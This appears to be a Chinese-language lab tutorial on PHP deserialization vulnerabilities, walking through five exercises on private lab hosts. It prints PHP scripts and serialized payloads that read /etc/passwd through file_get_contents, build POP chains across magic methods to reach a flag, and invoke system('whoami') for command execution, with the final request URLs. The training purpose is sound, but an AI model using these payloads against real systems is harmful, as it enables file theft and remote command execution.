今天来给大家介绍PHP反序列化漏洞,首先我们来看下反序列化基本概念:
反序列化:将序列化后的数据还原为对象,常用于恢复程序状态或网络传输。
目的:掌握php反序列化基础利用方式
实验地址:http://10.64.9.130:4001
实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)
实验内容:利用反序列化漏洞配合file_get_contents()函数读取任意文件
1.内容主页
2.代码审计
01.首先定义类Ser
02. 第二行定义公有变量 $name
03.存在魔术方法 __toString
当实例化的类被当作字符串处理时会自动触发__tongString魔术方法
04.在__toString函数中存在file_get_contents()函数,并且参数为$name,可控
05.最后存在unserialize()函数,并且参数可控
3.利用方法
01.实例化类Ser
02.$name赋值所需读取文件名称
03.将实例化类Ser序列化并输出
04.将输出结果通过GET方式输入
<?php classSer{ public $name = "/etc/passwd";}$a = new Ser();echo serialize($a);?>
05.将以上代码保存为1.php
成功获取/etc/passwd文件内容,至此第一个实验结束。
目的:掌握PHP反序列化__wakeup()魔术方法基础方式
实验地址:http://10.64.9.130:4002
实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)
实验内容:利用反序列化魔术方法__wakeup()函数配合file_get_contents()函数读取任意文件
1.内容主页
2.代码审计
01.首先定义Ser类
02.第二行定义私有变量 $name
03.在Ser类中,存在魔术方法 __wakeup()函数
该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作
04.在__wakeup()函数中存在file_get_contents()函数,并且参数为$name,可以控制
05.最后存在unserialize()函数,同时参数也可控
3.利用方法
01.编辑1.php文件为以下内容
<?phpclassSer{ private $name = "/etc/passwd";}$a = new Ser();echo serialize($a)."\n"; #php中点号为拼接符号,反斜杠n为换行符echo urlencode(serialize($a))?>
右键左上角1.php,可直接cmd
代码解析:
01.实例化类Ser
02.$name赋值所需读取文件名称
注意:$name是私有属性,在类中私有属性private和protected属性的变量,在序列化时,存在%00*%00保护它,而%00是不可见字符,如下图所示:
如果不经过url编码,直接通过url进行get传参,浏览器会默认识别为空格,即%20因此需要使用urlencode()函数将%00进行url编码,避免%00的缺失,下图为经过url编码后的序列化字符串。
03.将实例化类Ser序列化并输出
04.将输出结果通过GET方式输入
05.输出序列化内容为:
目的:掌握PHP反序列化POP链的基本利用方式
实验地址:http://10.64.9.130:4003
实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)
实验内容:通过类A中的__destruct()魔术方法调用类B中的read_file()函数,达到读取任意文件的目标
1.实验主页
2.代码审计
01.首先定义类A,类B
02.在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制
03.在类B中,定义了私有变量$filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为$filename。
04.最后存在unserialize()函数,同时参数也可控
3.利用方法
01.实例化类A
02.并且将类A中的公有变量$classname赋值为类B的实例化对象
那么,当实例化类A的同时也实例化了类B
03.然后将类B中的私有变量$filename赋值所需读取文件名称
04.将实例化类A序列化并输出
05.最后将输出结果通过GET方式输入
<?phpclassA{ public $classname;}classB{ private $filename="/etc/passwd";}$a = new A();$a -> classname = new B();echo urlencode(serialize($a));?>
保存文件为1.php,并在命令行运行
06.输出序列化内容为:
运行php 1.php
O%3A1%3A%22A%22%3A1%3A%7Bs%3A9%3A%22classname%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A11%3A%22%00B%00filename%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D%7D
目的:掌握PHP反序列化POP链进阶利用方式
实验地址:http://192.168.0.193:4004
实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)
实验内容:通过多个类中不同的魔术方法,构造反序列化POP链,获取题目flag。
<?phpclassstart_gg{ public $mod1; public $mod2; public function__destruct() { $this->mod1->test1(); }}classCall{ public $mod1; public $mod2; public functiontest1(){ $this->mod1->test2(); }}classfunct{ public $mod1; public $mod2; public function__call($test2,$arr) { $s1 = $this->mod1; $s1(); }}classfunc //1{ public $mod1; //string1 public $mod2; public function__invoke() { $this->mod2 = "字符串拼接".$this->mod1; } }classstring1 //2{ public $str1; //GetFlag public $str2; public function__toString() { $this->str1->get_flag(); return"1"; }}classGetFlag //3{ public functionget_flag(){ echo "i,m ok xxxxxxxx"; }}$GetFlag = new GetFlag(); $func = new func();$string1 = new string1();$funct = new funct();$Call = new Call();$start_gg = new start_gg();$start_gg->mod1 = $Call; //pop链起始点$Call->mod1 = $funct; #类Call中的变量$mod1设置为funct的实例化对象,当调用$mod1中的test2()方法,funct类中并不存在test2()成员方法(函数),就会自动寻找魔术方法__call()并调用它$funct->mod1 = $func;#类funct中的mod1设置为类func的实例化对象,在代码中 $s1 = $this->mod1;$s1<==>$func类的实例化对象,$s1()是调用函数的方法,但现在$s1为类的实例化对象,所有会自动寻找并调用func类中的__invoke魔术方法$func->mod1 = $string1;#现在POP链执行了func中的魔术方法__invoke, $this->mod2 = "字符串拼接".$this->mod1;代码会被执行,其中$mod1被当作字符串处理,可以将$mod1设置为classstring1的实例化对象,会自动搜索并调用类string1中的__string()魔术方法$string1->str1 = $GetFlag;#最后,将类string中的变量$str1设置为类GetFlag的实例化对象,会调用$this->str1->get_flag();获取flagecho serialize($start_gg);
利用方式
1、将上述代码保存至1.php文件,
通过命令行运行,php 1.php
O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
2、通过浏览器传入参数内容,最终结果:
http://10.64.12.92:4004/?string=O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
目的:掌握PHP反序列化POP链进阶利用方式
实验地址:http://192.168.0.193:4005
实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)
实验内容:反序列化简单练习题目,获取题目flag。
1.实验主页
1.代码审计
01.首先需要通过get方式传递两个参数un和x满足if条件语句
02.第二行代码定义了类A,并定义了变量$name和$male,以及定义了魔术方法__destruct(),destruct()函数可以作为反序列化的触发点
03.在魔术方法中,将$name赋值给$a,其中关键语句为$a($this->male),$a和$male均可控,那么等同于可以调用任意函数和任意方法。
2.利用方式
01.首先实例化类A,然后将成员变量$name赋值为system,$male赋值为whoami,即调用system(whoami)
<?phpclassA{ public $name; public $male;}$a = new A();$a -> name = "system";$a -> male = "whoami";echo serialize($a);?>
02.序列化结果
O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:6:"whoami";}
03.最终结果:
通过浏览器post方式进行参数传递
http://10.64.12.92:4005/?un=&x=post内容:un = O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:6:"whoami";}
可以看到whoami命令成功执行